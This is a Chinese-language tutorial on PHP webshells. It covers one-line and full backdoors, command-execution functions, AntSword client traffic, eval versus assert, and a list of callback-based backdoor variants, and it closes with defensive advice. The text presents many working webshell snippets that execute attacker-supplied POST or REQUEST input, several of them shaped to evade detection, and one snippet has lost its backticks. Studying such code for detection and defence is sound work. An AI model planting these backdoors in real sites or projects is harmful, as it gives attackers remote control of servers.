分析webshell(php)以及eval与assert区别
字数 1859 2025-08-15 21:33:08
PHP Webshell 分析与 eval/assert 函数详解
一、Webshell 分类
1. 一句话木马
- 可以在目标服务器上执行 PHP 代码
- 与客户端工具(如菜刀、Cknife、冰蝎、蚁剑)进行交互
- 俗称"小马"
- 示例:
<?php @eval($_POST['cmd']);?>
2. 多功能木马
- 根据 PHP 语法编写较多代码
- 在服务器上执行完成所有功能
- 俗称"大马"
3. 逻辑木马
- 利用系统逻辑漏洞(如 PHP UAF 漏洞)
- 绕过访问控制或执行特殊功能
二、PHP 可执行系统命令的函数
1. system
string system ( string $command [, int &$return_var ] );
$command:执行的命令&$return_var:可选,存放命令执行后的状态码- 执行有回显,结果显示在页面上
- 示例:
<?php system("whoami");?>
2. passthru
void passthru ( string $command [, int &$return_var ] );
- 与 system 函数类似
- 执行有回显,结果显示在页面上
- 示例:
<?php passthru("whoami");?>
3. exec
string exec ( string $command [, array &$output [, int &$return_var ]] );
$command:要执行的命令$output:获得执行命令输出的每一行字符串$return_var:保存命令执行的状态码- 默认无回显,返回最后一行结果
- 示例:
<?php echo exec("whoami");?>
<?php $test = "ipconfig"; exec($test,$array); print_r($array); ?>
4. shell_exec
string shell_exec( string $command);
- 默认无回显,通过 echo 输出结果
- 示例:
<?php echo shell_exec("whoami");?> - 反引号操作符变体:
<?php echowhoami;?>
5. popen
resource popen ( string $command , string $mode );
- 需要两个参数:执行的命令和连接模式(r/w)
- 不直接返回结果,返回文件指针
- 示例:
<?php
$command = $_POST[cmd];
$fp = popen($command,"r");
while (!feof($fp)) {
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>
6. proc_open
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] );
- 与 popen 类似,但提供双向管道
- 示例:
<?php
$command = $_POST[cmd];
$array = array(
array("pipe","r"), // 标准输入
array("pipe","w"), // 标准输出内容
array("pipe","w") // 标准输出错误
);
$fp = proc_open($command,$array,$pipes);
echo stream_get_contents($pipes[1]);
proc_close($fp);
?>
7. pcntl_exec
void pcntl_exec ( string $path [, array $args [, array $envs ]] )
path:可执行二进制文件路径或脚本args:传递给程序的参数数组- 需要额外安装 pcntl 扩展
- 版本要求:PHP > 4.2.0
三、蚁剑连接 Webshell 分析
1. 基本交互流程
- 准备一句话木马:
<?php @eval($_POST['cmd']);?> - 蚁剑发送的典型代码结构:
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){ return $out; };
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "b48a94c80a";
echo @asenc($output);
echo "606e3eed3";
}
ob_start();
try{
// 获取当前目录信息
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
// 判断系统类型并获取盘符或用户信息
if(substr($D,0,1)=="/"){
// Linux 系统处理
}else{
// Windows 系统处理
foreach(range("C","Z")as $L) if(is_dir("{$L}:")) $R.="{$L}:";
}
// 获取用户信息
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
2. 列目录操作代码
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){ return $out; };
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "7322e6777";
echo @asenc($output);
echo "7529076fb4d2";
}
ob_start();
try{
$D=base64_decode($_POST["od0d1a967133cb"]);
$F=@opendir($D);
if($F==NULL){
echo("ERROR:// Path Not Found Or No Permission!");
}else{
$M=NULL; $L=NULL;
while($N=@readdir($F)){
$P=$D.$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P)) $M.=$N."/".$R;
else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
}
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
四、字符串作为 PHP 代码执行的函数
1. eval
- PHP 4, PHP 5, PHP 7+ 均可用
- 接收一个参数,将字符串作为 PHP 代码执行
- 示例:
<?php eval("echo system('whoami');"); ?>
<?php @eval($_POST['cmd']); ?>
2. assert
- PHP 4, PHP5, PHP7.2 以下可用
- 一般接收一个参数,PHP5.4.8 后可接受两个参数
- 示例:
<?php assert("system('whoami');"); ?>
<?php assert($_POST['cmd']); ?>
<?php assert($_GET['cmd']); ?>
3. 正则匹配类
preg_replace(PHP5.5.0 以下 /e 参数可用)
<?php preg_replace("/test/e","system('whoami')","jutst test"); ?>
<?php preg_replace("/test/e",@eval($_POST['cmd']),"jutst test"); ?>
<?php preg_replace("/test/e",$_POST['cmd'],"jutst test"); ?>
preg_replace_callback(PHP5.5.0+ 推荐)
<?php
function result(){ return system("whoami"); }
preg_replace_callback("//","result");
?>
<?php
function result(){ return @eval($_POST['h']); }
preg_replace_callback("//","result");
?>
4. 文件包含类
include,include_once,require,require_once,file_get_contents等
五、eval 与 assert 函数的区别
1. 本质区别
eval是语言构造器,不是函数,不能被可变函数调用assert在 PHP7 之前是函数,PHP7+ 成为语言构造器
2. OPCode 层面
eval使用INCLUDE_OR_EVAL处理assert在 PHP5 中使用DO_FCALL处理
3. 可变函数限制
eval不能作为回调函数使用assert在 PHP7 之前可以作为回调函数使用
六、回调后门函数示例
1. register_shutdown_function
<?php
function test($a){ @eval("$a"); }
register_shutdown_function(test,$_POST['cmd']);
?>
2. array_udiff_assoc
<?php
function test($a){ @eval($a); }
array_udiff_assoc(array($_REQUEST['h']),array(1),"test");
?>
3. array_intersect_uassoc
<?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"assert"); ?>
<?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"system"); ?>
4. forward_static_call_array
<?php forward_static_call_array("assert",array($_REQUEST['h'])); ?>
<?php forward_static_call_array("system",array($_REQUEST['h'])); ?>
5. array_intersect_ukey
<?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"assert"); ?>
<?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"system"); ?>
6. register_tick_function
<?php declare(ticks=1); register_tick_function("assert", $_REQUEST['h']); ?>
<?php declare(ticks=1); register_tick_function("system", $_REQUEST['h']); ?>
7. array_reduce
<?php $arr = array(1); array_reduce($arr, "assert", $_REQUEST['h']); ?>
<?php $arr = array(1); array_reduce($arr, "system", $_REQUEST['h']); ?>
8. array_udiff
<?php $arr = array($_POST['h']); $arr2 = array(1); array_udiff($arr, $arr2, "assert"); ?>
<?php $arr = array($_POST['h']); $arr2 = array(1); array_udiff($arr, $arr2, "system"); ?>
七、防御建议
- 禁用危险函数:在 php.ini 中禁用
eval、assert、system等危险函数 - 输入过滤:对所有用户输入进行严格过滤和验证
- 文件权限控制:限制 Web 目录的写入权限
- 代码审计:定期进行代码安全审计
- 使用 WAF:部署 Web 应用防火墙
- 更新 PHP 版本:使用最新稳定版 PHP,修复已知漏洞
- 禁用危险配置:如
allow_url_include、register_globals等